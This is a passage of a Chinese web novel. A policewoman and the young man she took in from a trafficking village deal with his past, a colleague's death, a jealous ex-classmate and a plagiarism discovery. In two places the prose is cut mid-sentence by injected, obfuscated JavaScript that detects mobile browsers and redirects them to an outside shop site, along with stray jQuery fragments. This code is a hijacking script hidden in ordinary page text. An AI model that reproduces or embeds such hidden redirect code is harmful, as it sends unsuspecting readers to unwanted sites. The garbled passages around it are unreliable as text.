“过去的事?”武厉枭痛心地叹息道,“你没办过这样的案子你不知道。底层之恶,做恶而不自知。我曾经去过一个偏远农村解救被拐卖妇女,有的被折磨得生不出孩子,就扔到地窖里关着。有的被救出来时已经不成人形了。那个时候我刚参加工作不久,跟老队长去办案。那个村的人甚至指着我问老队长:那个姑娘看起来不错,多少钱卖……” 苏晏清擦了擦眼睛,不敢把眼泪掉下来,“可是……你和外婆都那么疼我……村里的叔叔大爷们也喜欢我……” “我问过外婆,明知道苏婶婶是被拐卖来的,为啥不报警。外婆说:吴家再有钱,也惹不起一个村的人,惹不起那些封建思想。村里的人是厌恶你爷爷你爸爸,才对你好些。其实,大家心里都有自私的想法:苏家有个媳妇,有了你,你爷爷你爸爸还能安分一些,不至于影响全村的生活。其实,都是拿你和你妈妈当牺牲品的。” “姐姐,我觉得……他们只是平庸,不至于有那么多恶意。” “前年我去贵州的一个村子里查案,发现村里全是光棍汉带着孩子,所有的孩子都没有妈妈。我问起当地派出所,他们说:这个村子是著名的无妈村。这些孩子的妈妈,绝大多数都是被拐卖来的。她们被迫生下孩子,被迫干重活,还要忍受殴打和凌辱。后来,孩子长大了一些,她们便找机会逃跑,再也不回来了。那些不是拐卖来的妇女,也忍受不了贫穷和暴力,便借口外出打工补贴家用,再也不回来了。”武厉枭深深地叹着气,“是什么能让母亲宁可舍弃孩子也要逃离?也许,在她们被迫怀孕时,就注定了那场对男人的仇恨,让她们连孩子都不爱了。” 苏晏清的眼泪再也控制不住,“所以,这就是妈妈不爱我的原因。” “这是我不许你回望口村的原因。你的出身,注定你生下来没了当公务员和入伍的机会。”武厉枭拿过这张银行卡,掷地有声道“这五万块钱,我替你还给他们。武家的孩子不需要他们养。以后,望口村的事与你无关。” “今天,那个小学校长说最近在和渡口村争山地,让我帮忙写状纸。” “他们要写状纸,自己去请律师,找你一个小孩子做什么?不许答应他们,争不过地,他们一定会怪你,还有渡口村的人,更不会善罢甘休。” “姐姐,”苏晏清垂下眼眸,“我想帮他们写……” “为什么?” “如果他们有了钱,就不会再是社会底层,就不再有底层之恶。” “不行,改善一个人的生活条件,给他一些钱,帮他找个工作就可以。改变底层思维,要经过一代人的努力才可以。望口村的那些人,不是好相与的。这件事,你不可以再插手,明白吗?” “那……你……你收下这些钱,好吗?” “我为什么要收这种钱?” “我……我在这里吃住……”苏晏清一时语塞,“你又帮我交学费和住宿费……给了我那么多生活费……” “所以?你是觉得自己要还吗?” “我……我不想欠你太多……” 武厉枭冷笑道,“那姐姐救了你,你是不是要还命?” “我……”苏晏清沉吟了片刻,“我的命……本来就是你的……” 武厉枭一把将他抵在墙上,冷冷道,“你给我记住,你的命是自己的!” “姐姐,”苏晏清突然抱住了她,“我这辈子……只有你……我只为你而活……” “胡说!”武厉枭气得满面通红,将苏晏清一把推倒在床上,对着他的屁股噼里啪啦地揍了起来,“你这死小孩怎么这么不听话!为我而活?我死了呢?我殉职了呢?我还指望你将来能在我殉职后照顾家里和生意,你的命就这么不值钱?你傻不傻!你蠢不蠢!你个大笨蛋……” 苏晏清紧咬着牙关一声不吭,武厉枭打累了坐在床边喘粗气时,半晌才拍了拍他,“怎么?哭了?” 苏晏清半天不说话,武厉枭摸了摸他的后脑,“打疼你了?” 苏晏清把头埋进床褥间,扭了扭身子,闷声闷气道,“疼……要抱抱……” “还敢乱说!”武厉枭又拍了一下他的屁股,“再乱说还打你!” 苏晏清这才挨挨擦擦地凑过去,趴到她膝盖上,“姐姐,痛痛,给宝宝揉揉……” “揉什么揉?”武厉枭虽然生气,眼里却有了一丝笑意,“屁股上一点肉都没有,震得我手疼!”却又帮他揉起了屁股,“还敢不敢说为我而活了?” “那……那你也不要总叫我宝宝嘛……我都十九岁了……” “十九岁又怎么样?就管你叫宝宝!宝宝宝宝宝宝!八十岁了也是宝宝,一百岁了也是宝宝!儿孙满堂了也是宝宝!我偏要叫!” “那……”苏晏清眼里闪过狡黠的光,“我一辈子不离开你,一辈子当姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849746|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 姐的宝宝,好不好?” “尽说傻话!你不娶老婆吗?不生孩子吗?” “那你不嫁人吗?” “不嫁!我当警察的,怎么嫁人?” “很多女警察都结婚了。” “我没空做家务,没空带孩子的。” “一个爱你的人,不需要你做家务,不需要你带孩子,会帮你把一切都做得好好的。” “我是独生子女,爷爷那么疼我,他这么大年纪,我怎么能离开他呢?所以我不能结婚,我要留在这里照顾爷爷,守着老宅,守着老店。” “姐姐……让我留在这里,陪你守着老宅,帮你照顾爷爷,行吗?” “我当然希望你能一直陪着爷爷,陪着我,守着老店和老宅。只是……你现在还是一只雏鹰,总有一天,你会长大,会变成翅膀结实的雄鹰,我不能用这些捆住你的翅膀。” “姐姐,你舍得我走吗?” “当然舍不得,一辈子都舍不得。”武厉枭揉着膝头上的苏晏清的头发,将手指插在他浓密柔软的发丝间,轻轻地梳理着,梳了很久,很久,方悠悠地说,“宝宝,你该有自己的事业,趁着年轻,多走走,多看看,看看老宅外的世界,不一样的人生。外面有很多的好女孩……你要忘记望口村,忘记关于底层社会的一切。宝宝,你是我从地缝里捡起的一块美玉,白,透,润,亮,但你的美好,不该被困在这个宅子,这间铺子,海阔天空,任你飞驰。” 武厉枭抚摸着苏晏清的眉骨、脸庞、嘴唇,锋锐的下颌线,轻轻地捏着他的下巴,“我的宝宝……真好看……不知以后谁那么有福气……能拥有你……”她只觉得自己满心满眼里绽放着喜悦而遗憾的花儿,长长地叹着气,“宝宝,你为什么要长大,你要是永远四岁,不用受那么多伤害,该多好……”她的眼睛红了,“你肚子饿了吧?我刚才看到爷爷刚烤好了绿豆栗子饼,我拿一些给你吃。” “好。”苏晏清在武厉枭转身离去时,突然叫住了她,“姐姐,我被那个变态画家……你别嫌我脏,行吗……” 武厉枭身形一颤,没有回头,“脏的不是你,是他。他已经被枪决了,你不要再多想了。”她把苏晏清紧紧抱在怀里,语重心长道,“宝宝,姐姐用了十四年才把你接回家。我失去过一次弟弟,别让姐姐失去第二次。没人比你更清白,更干净。”她双手捧起苏晏清的脸,如摩挲一块无暇的美玉,“你可以是别人的男朋友,丈夫,父亲,却只能是我一个人的宝宝。答应我,世界上只有我一个人可以叫你宝宝,你的妻子也不可以,好吗?” “好,我只是你一个人的宝宝,永远都是。那你能不能答应我一件事?” “什么事?” “每天对我改变一丁点,不再只把我当宝宝。” “那当什么?” “男人。” 武厉枭笑着一戳他额心,“你一个青春期还没结束的小屁孩,当什么男人?” “我……”苏晏清红着脸挣脱她的怀抱,“我已经结束了……我都不再长高了,身体也……发育完全了……” “谁说你不再长高了,你明明又长了一点。”武厉枭把苏晏清拉到身高体重秤上,让他光脚站上去,果然,186公分了。 “好,姐姐答应你,”武厉枭捏捏他的脸,望着那双干净浓烈到犯规的眼睛,“我的男人宝宝。” 苏晏清拿出了那两个存钱罐,“姐姐,你还记得它们吗?你给我留的保命钱?” 武厉枭惊喜不已地接过来,拿出里面那泛黄的字条,摸着脸害羞道,“哎呀呀,那个时候真傻!以为等到你上小学了,会坐长途车了,给你留了钱,苏家人再打你,你就能坐车来找我。爷爷那么疼我,我去求他把你也留下来……”她突然眼圈一红,哽咽道,“宝宝,为啥你没早早发现这笔钱?这样,你就不会饿肚子,不用去送外卖被刀捅……” “姐姐,没事了……”苏晏清帮她擦去眼泪,“我现在……也不用饿肚子了……这笔钱可以还给你了……” “这钱是姐姐给你的保命钱,你记得,一定要好好收着!” 40. 福龙小区的一夜 九月份开学季,大一新生们陆陆续续地走进山大,李光明混在迎接新生的队伍中探头探脑道,“国君儿,帮为父看看有没有漂亮的,为父帮你找个义母。” “光明爱子啊,为父劝你擦擦哈喇子,别待会儿化身人狼啦!” “清哥呢?我今天还想让他过来当我的僚机呢。他颜值高,绝对能帮我吸引漂亮学妹。” “晏清爱子在,你还想吸引漂亮学妹?那些小学妹宁可给他做妾,都不能给你当女朋友。” “做妾?对了,你说他长那么帅,家里那么有钱,他为啥不交女朋友呢?前几天中文学院的院花又来邀请他进游泳社团,妈呀,院花那身材,我一口老血喷死吧!” 刘国君撇撇嘴,“游泳社团学分加得最多,一学期加三分呢!还能看美女,你说晏清爱子那逼人为啥不去呢?” 李光明笑得鬼兮兮的,“能不能是咱姐不让?清哥那牤子在咱姐面前乖得跟猫咪似的。” “上一边去吧!”刘国君推了一下李光明,“你大肘子吃撑了,连咱姐都敢编排?卤牛肉不想要了?不过,我觉得晏清那逼人不在乎看不看美女,他是怕美女看他,怕有女色胚馋他身子!哈哈哈……” “你说他为啥每周末都回家?妈呀,我要是每周末都回家,我妈得烦死我了!” “就是,我寒暑假一回家,前三天我妈还喜欢我,给我做好吃的,第四天开始就烦我了,嫌我懒,嫌我不讲卫生,我喘气都是错的。用她的话就是:猫嫌狗恨,神憎鬼厌。” “清哥……你说是不是咱姐管他管得太严了,你看啊,他从不刷抖音,从不打网游,从不看擦边视频,连黑丝美腿都没兴趣!” “晏清连中文学院院花的绿泡泡都没加!上次中文学院和外语学院办舞会,还特意给他发了邀请函,那牲口也不参加!” “啊?不是吧!他先加了,再推给我,然后再删啊!那可是舞会呀,妈呀!多少丰乳肥臀可以看呀!那是妥妥的盘丝洞啊!他不去,把邀请函给我呀!” “堂堂校草,山大颜值天花板,法学院之光,活得清心寡欲四大皆空的,我靠比和尚还素。” “就是!平时男生之间说点带色儿的,他都只看书不搭言。有时候我都怀疑他有没有荷尔蒙。怎么会有人比唐僧还恪守男德守身如玉呢?” “你说这个犊子长这么大,看过岛国爱情动作片吗?撸过吗?” “要不你去问问?” “我可不问,我可不带坏咱姐的……宝宝……哈哈哈……” 两个人没心没肺地笑了半天,李光明突然郁闷道,“别提了,我今天的刑法分论课又不小心睡着了。你说齐教授是法学院出了名的四大神捕之首,期末绝对挂我!” 教《刑法》的齐教授的确以严厉方正著称,整个法学院2025级他最头疼的就是李光明和刘国君这两个皮猴子,没事就敲打他们两句:“你们班不是你俩实在不行就搬到行政管理专业的宿舍去吧,别带坏了苏晏清。就你俩那成绩,套用年轻人的话就是:一个王者也带不动两个青铜。” 班里马上有人接话道,“老师您可别让他俩跟行政管理专业的那帮人住一个屋,那就等于是小野猴进了花果山,可算找到组织了!哈哈哈……” 这还真没错,行政管理专业那几个宿舍是男生公寓的纪律卫生重灾区,熬夜开黑吃鸡,喝啤酒看球狂欢,凌晨两点钟集体翻墙出去炫小龙虾……他们班二十个男生全都上了农学院的黑名单了:跳鸡窝里偷人家鸡蛋,掰人家甘蔗、捞人家鱼苗、薅人家鸭毛……农学院为了他们安装了十几个天眼,怕他们哪天把院里那几只国家二级保护动物也给吃了戴银手镯。 李光明和刘国君是行政管理专业的“编外自己人”,第一次去打招呼就和他们一拍即合。男生之间友谊的建立就是一句话:“哥们儿带电脑了吗?晚上开黑呀?”结果就是大晚上五个寝室闹腾得沸反盈天把宿管阿姨都折腾上来了,堵着宿舍门训他们:“怎么回事?综合测评分不想要了?毕业证不想要了?屋里啥味儿呀?抽烟抽得跟龙宫似的!一个个嘴都不拾闲!” 宿管阿姨揉揉眼睛,看了看李光明刘国君,“你俩……不是法学院的吗……你俩不是跟那个挺漂亮的小男孩一屋的吗?他人呢?说呀!”她瞪着眼睛冲进去紧张兮兮地到处找,“那孩子呢?让你们熏出屋了还是让你们卷烟抽了?” 李光明和刘国君连忙承认错误道,“阿姨阿姨阿姨,我们错了我们错了,我们不是这屋的,我们是隔壁宿舍的……清哥没被我们卷烟抽了,他在宿舍睡觉呢……” 李光明和刘国君把宿管阿姨带进他们宿舍,直到看到了苏晏清好好地躺在床上,宿管阿姨依旧不放心,“你俩那烟少抽点,这孩子这么单薄,扛不住那二手烟熏!你们没听说有的大学里那小男孩在宿舍里住了四年,一口烟没抽,都得肺癌啦……” 还有人起哄道,“老师,他们三个的小组作业都是苏晏清一个人做的,这两个啥也不干,说得好听点的是分管后勤,说得不好听的就是苏晏清的两个总管大太监……” 又有人补枪道,“老师,他们宿舍是峨眉山,苏晏清一个神仙,外加他俩两只泼猴……” “是啊,”刘国君也头疼起来,“今天孙老师检查《物权法》的背诵默写,我也错了好几处。孙老师下课还把我叫到办公室骂了我一顿,说我:你跟苏晏清一个宿舍的,怎么不跟人家学学,就知道傻吃傻睡!等你那天当了律师,你当事人大街上吐口痰,让你辩护都得判死刑!” 李光明突然一拍脑袋,“对了,我记得听上一届师哥们说,齐教授是光棍,天天自己做饭。要不我去他家里帮他扛大米白面,擦油烟机吧?说不定他看我勤快,就能挽回点形象呢?” 刘国君摇头道,“光明我儿呀,你不觉得你这招太low了吗?要我说,还是晏清爱子的着数妙。他说啊:一旦不小心得罪老师,就赶紧去图书馆看几页专业课书,写篇小论文,总结出几个题目去办公室找老师请教。一定要表现得虚心一些,认真做笔记。这样啊,比扛多少次大米都有效!” “那还等什么呀!赶紧去图书馆打卡呀!说不定遇到老师们在那里,还能刷个脸熟呢……” 周五下午放学时,李光明拉住苏晏清,“清哥,今晚一起去大学城里看球赛啊?” “看球赛?在宿舍里用电脑看不是也可以吗?” “那不一样啊,在大学城的清吧里跟一群人边喝啤酒边看球赛,大呼小叫的,多过瘾呀!” “就是,听说看完球赛还有足球宝贝穿草裙舞表演,身材超级火辣……” “不了,下次吧。” 李光明叫起了撞天屈,“哎呀清哥,人家别的宿舍的男生都一起行动,灯笼火把地逛酒吧泡夜店,你呢,连网吧开黑都不去!” “就是,上次隔壁寝室约咱们一起喝酒打牌,你也不参加,怎么成年人喜欢的你都不喜欢呀!” “今天星期五,我得回家。” 李光明和刘国君不怀好意地相视一笑,异口同声道,“回去——当宝宝——” “不是,是帮爷爷做事。” “行了行了,不耽误你尽孝啊,重姐轻友的东西!” “就是,你错过多少男生狂欢夜啦!也就是我俩心眼好,换别的宿舍的人早就把你踢出去了。” 苏晏清不慌不忙道,“我姐说要给我做盐水鸭和扒鸡……” 二人立刻老实了,“清哥,咱们好兄弟讲义气,我俩不就不耽误你时间了,回去替我俩给咱爷爷请安啊……” 苏晏清一回到老宅,就一头扎进厨房帮黄奶奶做饭,“姐姐今晚回来吃饭吗?” “不回来,你姐打电话说加班,让我们别等她了。” 苏晏清想了想,“那我做几道姐姐爱吃的菜送到她单位去吧。” “我刚才也这么说的,我说等我做好了饭叫个店里的小伙子给她送到单位去,她说晚上有人请他吃饭。” “谁?” “不知道,好像是那个跳舞的小伙子。那天你妈妈打电话来跟你爷爷说了这件事,老掌柜的挺高兴的,说改天叫那小伙子来家里吃饭,他想看看那小伙子书法写得怎么样?” 苏晏清一语不发,从冰箱里拿出食材,一顿操作,做出了素三鲜、肉片茭白、蒜香柠檬鸡翅、虾仁豆腐炖蛋、什锦蔬菜粒和山药荸荠肉圆汤,又蒸了一锅藜麦芸豆香米饭,取出保温盒来,每样菜都拨出一部分放到里面,边扎紧封口边说:“黄奶奶,您帮我跟爷爷说一声,我去给姐姐送饭了,吃饭不用等我了。” 黄奶奶奇道,“你姐姐说今晚不用送饭的?” “我怕姐姐工作太晚肚子饿,而且姐姐是跟跳舞的人吃饭,舞蹈演员要保持身材,吃的东西都没什么营养的。姐姐是警察,那么辛苦,吃那些东西怎么能行,会扛不住的。” 苏晏清把保温盒送到市局传达室时,正好看到魏三有和李大刚查案回来。他赶紧过来打招呼,“哥哥们好。” “呦,老舅?来给义母送饭了?真贤惠呀!” “老舅,上次你送来的菜太好吃啦,妈呀,我们都没吃够!我长这么大就没吃过这么好吃的菜!” 苏晏清谦和地笑笑,“都是姐姐教我做的。” “今天有什么好吃的?” “有蒜香柠檬鸡翅,我想着哥哥们办案辛苦需要吃点有油水的,就装了三十只过来。” “妈呀!”魏三有夸张地大叫,“这哪是老舅呀,妥妥的义父呀!” 李大刚也拱手道,“义父!”然后抠保温盒,“我先替义母尝尝咸淡。” 魏三有赶紧阻止,“义母没吃呢你先上手了?洗你那个爪子没有?” “洗了,我先尝一个怎么了?”李大刚抱着保温盒左躲右闪。 “那给我一个……”魏三有上手就抢。 “不给!”李大刚撒腿开跑,魏三有奋起直追,“我是警察!站住!不许动!蹲下……” 两个人的身影消失在市局办公大楼里,苏晏清意味深长地笑笑,给武厉枭发了个微信:姐姐,我给你送晚饭到你单位楼下,魏警官和李警官帮你送上去了。你趁热吃,别饿肚子。 武厉枭到家的时候已经是夜里十二点了,天空中飘起了星星点点的雪花,像是把白天的云揉碎,纷洒。 她敲了敲苏晏清的窗户,“宝宝,你睡觉了吗?” 苏晏清其实一直都没有睡,只是躺在被子里看书。他房间里的灯幽幽地亮着,像是一直在等待着什么。 “姐姐……”苏晏清刚想下床,武厉枭已经推门而入。“我想带你去一个地方。” “好,”苏晏清点点头,换上外套,“姐姐,你工作一天太累了,我来开车。” 苏晏清开着车在灯火依旧璀璨的夜晚中徐徐而行,武厉枭则一直沉默着坐在后面,她的目光幽幽望着窗外,仿佛流淌着无数的故事。 “姐姐,我们去哪儿?” “你只管开就好了。” 苏晏清没说话,一直在城市的中心范围打转,他虽然没有听到声音,但他知道武厉枭在哭,“姐姐,我……我送你回家吧……” “我不想回家住。” “那……回爸爸妈妈那里?” “不,去福龙小区,那里有一套爸爸妈妈给我的房子。” 苏晏清把武厉枭带到福龙小区11栋三楼平层,她打开指纹密码锁,拉着苏晏清右手的食指按上去,“你也录个指纹。” 苏晏清跟着武厉枭进了房间,屋里非常干净,一看就经常有人打扫,清冷的德式装修,木色沉敛,金属微凉,处处透着理性和克制。 苏晏清打开了空调,倒了一杯热水给武厉枭,“姐姐,喝点水暖暖身子。” 武厉枭神情恍惚地接过来,放在手心暖着,一直垂着头不说话。 “你今天怎么了?和宇心哥吃饭,不开心?” “我没去和他吃饭,我去看了一个朋友。” “嗯?” “你还记得你上次冒充王芳华男友参加我们班同学会的事吗?” “记得。” “你注意到了我右手边的那个位置是空的吗?” “注意到了。” “那是我们班……第一个牺牲的同学……” “啊?”苏晏清连忙抱住了武厉枭,让她靠在自己肩膀上,“姐姐……” “她……是我的好朋友……毕业后,她去了分局缉毒大队……在做卧底时,被毒贩……注射了□□……染上了毒瘾……”武厉枭泣不成声道,“她才22岁……强忍着破了案子……没熬到立功受奖……就不堪忍受折磨……饮弹自尽……” 武厉枭靠着苏晏清的肩膀哭道,“宝宝……今天是她的祭日……我……我实在没办法……像妈妈说的那样……去和楼宇心吃饭……我没有心情……” 突然,武厉枭的微信铃响起——王芳华在同学群里发布了她后天举办订婚宴的请柬。未婚夫钱舟是本市的一位畅销书作家,订婚宴现场还将赠送所有人一本他的代表作——《忧郁的槐花》。 赵淮晋的电话几乎无缝衔接般地打了过来,苏晏清刚想起身离开,被武厉枭拉住了,手机按下免提键,“哥……” “枭枭宝贝,你看到王芳华的请柬了吗?” “看到了。” “后天晚上七点钟她办订婚宴,我来接你吧!” “嗯……不用了……” “上次你拆炸弹,救了那么多人,还好有你在。哥还没好好谢谢你呢!” “当警察的,救人是本分,不值一提。” “我知道市中心那里有一家清吧,每晚都有脱口秀和沉浸式话剧可以看,还是禁烟的,很适合女孩子。我们参加完订婚宴,哥带你去那里坐坐吧。” 武厉枭一脸为难地看着苏晏清,只见他微微一笑,朗声道,“淮晋哥,谢谢你啊,我姐后天晚上局里有事,会晚点到。到时候我会去接送她,就不麻烦你了。订婚宴上你们老同学难得相聚,吃好喝好啊!再见!” 武厉枭倚在苏晏清身上,“宝宝……今晚……我想睡在这里……” “好,我去帮你打扫房间。今晚我在客厅住,陪陪你……” “宝宝,”武厉枭搂住他的腰,把泪湿的脸埋在他胸前,“姐姐爱你……” “姐姐,我爱你……” 苏晏清一直守在武厉枭床边,听到姐姐在梦中一直哭着叫他,“宝宝……跟姐姐回家……我不要当古茶妹……我不能失去弟弟……地缝里没有鱼鱼……别去福利院……你不是古阿明……别人不喜欢你的画……姐姐喜欢……我不要当英雄,只当姐姐……” “姐姐……我不是古阿明,我是你的宝宝……宝宝回来了……一辈子都不会走……” 苏晏清趴在武厉枭的床边睡着了,梦中,他又回到了吴家大宅,又变成了那个四岁的小晏清,举着满手鲜艳的花送给姐姐,“姐姐,宝宝长大后,姐姐跟宝宝结婚好不好?” 十二岁的武厉枭笑弯了腰,“傻宝宝,我是你姐姐,怎么跟你结婚呀……” 小晏清却哇地一声哭开了,“宝宝会长大,变成大人,个子高高的,会好好读书,会学法律,当律师赚钱,姐姐跟宝宝结婚好不好……” 武厉枭笑着抱起来,帮他擦掉眼泪,亲亲他的小脸蛋,“姐姐相信,我的宝宝长大后会变成很好很好的人,姐姐最喜欢宝宝了……” 第二天晚饭时,苏晏清做了荔枝烤鸡翅和南瓜花饼,鸡翅包裹着荔枝肉,咸香软糯中包裹着荔枝的清甜,仿佛是一种无法割舍的羁绊。 武厉枭夹了一只鸡翅给武月直,“爷爷,明天晚上我要参加大学同学的订婚宴,不回来吃晚饭了。” “嗯,”武月直点点头,“你自己开车去吗?” 苏晏清接口道,“我来接送姐姐,她参加订婚宴,肯定会喝酒。” 王芳华订婚宴在天香迎宾楼举办的,楼上楼下一共三层都坐满了,花海纷繁,格调优雅,香槟喷洒如瀑,礼花筒开得无比绚烂,宾客们在融融灯光中从led屏上欣赏着他们从相识到相恋的许许多多画面。 武厉枭本来一件裙子都没有,每次参加这种场合都无比尴尬。苏晏清昨天陪她去万达购物广场买了一条及踝的亮丝钩织孔羽长裙,还有一只白桔梗的火彩锆石发簪,帮她把头发挽成个高颅顶的低髻,显得温婉而清纯。 穿着灰黑色西装三件套的赵淮晋一进宴会厅就直奔武厉枭而来,“枭枭宝贝,你今天真漂亮,真有女人味儿。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849747|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 嗯,谢谢,哥你今天也很帅。” 武厉枭拍了一张自拍照发给苏晏清,“宝宝,你的眼光真好,今天有老同学夸我有女人味儿。” 苏晏清那边也笑得像灌了一大杯巧克力糖浆似的,“姐姐,你本来就有女人味儿……” 他最近经常这样,图书馆自习时,食堂吃饭时,宿舍聚餐时,熄灯后开卧谈会时,他都对着手机出神地笑,笑得李光明恨不得一枕头扔过来,“清哥,你又吃了蜜蜂屎了?” “哦……没有……”苏晏清慌忙收了手机,“我刚才看了一个很好看的小说。” 刘国君笑道,“晏清爱子,你这几年的国家奖学金,科研立项奖金,论文发表奖励,专项奖金这些乱七八糟的加起来,差不多能付个首付了吧?” 苏晏清心下一动,他翻开了自己的手机银行的收入纪律:从大一开始,他就参加法学院专项基金课题的奖学金,司法部法学理论课题研究奖学金,国家社科基金青年项目奖学金,外加上爷爷、爸爸妈妈和姐姐给他的生活费和红包,以及从前运营公众号的收入,差不多的确可以买一套老旧小区二手房的首付。 “全校谁不知道,法学院之光,大佬中的大佬,大神中的大神!”李光明做了个双手合十的动作,“清哥,求带飞!” 苏晏清放下手机,“光明,明天的辩论稿你准备好了吗?” “哎呀,不是有你吗……” 武厉枭的微信又发了过来,“宝宝,你在自习室学习吗?” “没有,姐姐,我刚洗完澡,用的是你给我买的白桃慕斯味的沐浴乳,真的好香。” “拍张照片发给我看看好不好?” “还没有吹头发呢,又蓬又乱,不好看。” “哎呦,你什么样我没见过呀!我偏要看!” “好……” 照片很快就发过来了,武厉枭认真点评道,“很好看,头发毛绒绒蓬松松的,怪不得你那些同学管你叫万人迷,法学院之光!” “那是他们乱说的。” “哎呀,我觉得好无聊,你来接我吧,陪姐姐去那个淮晋哥说的禁烟清吧坐坐好不好?” “遵命,我马上来。” 武厉枭从洗手间出来时,赵淮晋也跟了出来,“枭枭宝贝,陪哥去外面吹吹风。” “哥,你喝酒了?”武厉枭关切道,“我去帮你要一杯冰饮。” “不用了。”赵淮晋拉着她来到酒店喷泉旁,望着水中一轮银白的月影,声音低沉道,“你为什么不让我去接你?” “我局里有点事,下班晚了些,怕你等太久。” “枭枭,”赵淮晋满脸酒意,一步一步逼近她,逼得她连连后退,直退到墙角无可退之处。他一手按住赏赐,一手握住她的肩膀。他这才发现,武厉枭今天居然化了妆,亮白的气垫霜让她肤若凝脂,容貌端丽,气质飒爽。他摸了摸她的头发,“从毕业到现在,你从来不主动联系我,对我不闻不问,我想知道为什么?你为什么要这样?” 武厉枭气定神闲道,“你很忙,我也很忙……” “不,不是这样的,”酒意上头的赵淮晋眼睛红得像被人扎了两刀,“枭枭,你恨我吗?” “你为什么这么问?你是我哥,你对我这么好,我怎么会恨你?” 赵淮晋冷笑道,“我们是警校的神雕侠侣,你觉得叫我哥合适吗?在你心中,我就那么无足轻重吗?” “是你亲口说的,我是你妹妹。” “我那时候太年轻了,”赵淮晋喉头一哽,“你那么优秀,是武家的独生女,我怕……我怕自己配不上你……怕别人说我贪武家的钱,怕被人议论我吃软饭……枭枭,我错了,再给我一次机会吧!我就犯了一次错误,你为什么就判我死刑?” “你别这样……” 赵淮晋狂乱地吼道,“枭枭,我现在才知道……这个世界上不会有比你更好更合适的女孩子……是我蠢……是我错过了你……求求你……再给我一次补偿你的机会……枭枭宝贝,我喜欢你……从你十八岁入警校的第一天,我就喜欢你……” “我会找到适合你的好女孩。” “我不要别人……” “不知道你听没听过一个故事:一个女人爱上一个男人,爱而不得,无比痛苦。有位僧人开解她:你上辈子死的时候,你爱的那个男人,给你盖了一件衣服。而你现在的丈夫,却是埋葬你的那个人。这个世界上,因缘际会,就是这么令人错愕……” 赵淮晋搓了搓脸,苦笑道,“是啊,的确令人错愕。想不到我赵淮晋,一个刑警队长,居然会输给一个孩子,一个四岁的孩子,输给十四年前的一道地缝!” 武厉枭手一抖,差点惊叫起来,“你说什么!” “那天晚上我加班到深夜才回家,看到了你那辆路虎车在街上转。我就跟踪了你,发现……你的车开去了福龙小区……是那小子在开车吧……苏晏清把自己包装得人畜无害苦情励志,骗取你这种心地善良的傻女孩的同情心,他就是杀猪盘……” “赵警官,你怎么就断定我蓄意诈骗?按《民法典》第1024条,捏造事实,散布谣言,已经构成了侵犯他人名誉权。”不知什么时候,苏晏清已经驱车而至。他站到二人中间,隔开赵淮晋,把武厉枭护在身后,“赵警官,看在你是我姐姐老同学的份上,我不去督察那里投诉你,也请你好自为之。”又握着武厉枭的手,仔仔细细地检视着,“姐姐,你没事吧?” “没事,宝宝我们走吧。” 他脱下外套披在她身上,搂过她的肩膀,“对不起,我应该陪你来,免得你受这种委屈。我们走,不理这些无聊且无礼的人!” 赵淮晋心头莫名火起,挡在他二人前面,指着苏晏的脸低吼道,“我和枭枭的事,你有什么资格横插一杠!” 苏晏清平静如水的声音带有几分凛冽,“你是警察,这里有监控,你不要借酒闹事,免得大家都不好看!我手机里也有刚才的录音录像,你也不希望你们被局领导知道你知法犯法吧?” 赵淮晋一怔,望着武厉枭那黑夜中亮如碎钻的双眸,竟觉得背后竟涌起阵阵凉意,只得讷讷地让路。 他这才真正意识到,大学时的那些恋慕的戏码已落下了帷幕,而他,真真正正地沦为场外观众。 他的白月光依旧在发光,却在温暖照耀另一个。 苏晏清一路上开着车,武厉枭坐在副驾驶上,忧心忡忡地望着他布满阴云的脸庞,“宝宝……你没事吧……” “没事……我只是……担心你……” “他……乱说的……你别生气……” “没有,我不生气。我自己知道,我不是杀猪盘,我不会骗你,更不会坑害武家。”苏晏清深深叹了口气,“姐姐,我就是气自己,让你受这种委屈了。” 武厉枭心里酸涩,泪水肆虐而落,“我们大学时关系那么好,我不明白,他为什么这么伤害我……” 苏晏清停下车来抱住了她,把她的头埋进自己肩窝里,“姐姐,这种人不值得你为他哭,他是被占有欲冲昏了头……” “宝宝,我不是为他哭,是为你……你受了那么多罪,我好不容易才把你接回来……他怎么可以这样去骂你,诋毁你……” “姐姐,他是嫉妒,嫉妒你对我好,嫉妒你爱我……”苏晏清帮武厉枭擦掉眼泪,“我刚才路过药店给你买了一罐提神的护肝茶,你带一罐到办公室去,以后加班的时候别总是喝咖啡,对身体不好……” 二人回家后,爷爷果然没睡,披着外套迎了出来,“今天回来得还早,枭枭,你喝酒了?脸这么红?” “嗯,都是老同学,一看到我就拉着灌酒。” 苏晏清忙道,“爷爷,我扶姐姐回去休息,我炖了醒酒汤给她。您去休息吧,爷爷晚安。” 苏晏清给武厉枭喂光了一盅醒酒汤,“姐姐,你休息吧,我回去了。”他突然看到了桌子上的那本《忧郁的槐花》,便问道:“这是什么?” “王芳华未婚夫是个作家,这是他的个人文集,所有宾客人手一本。我平时不大看这种纯文学的东西,不过这本书我倒是知道,挺畅销的,我们单位的小姑娘们都很喜欢看。你喜欢的话,拿去看吧。” “好,谢谢姐姐。” 41. 剽窃案 苏晏清回到房间里刚翻开第一页,不由得瞳孔骤然放大,惊得整个人从椅子上跳了起来! 那书里的内容,居然跟他曾经在“蔚蓝海岸美文站”里发表的文章一模一样! 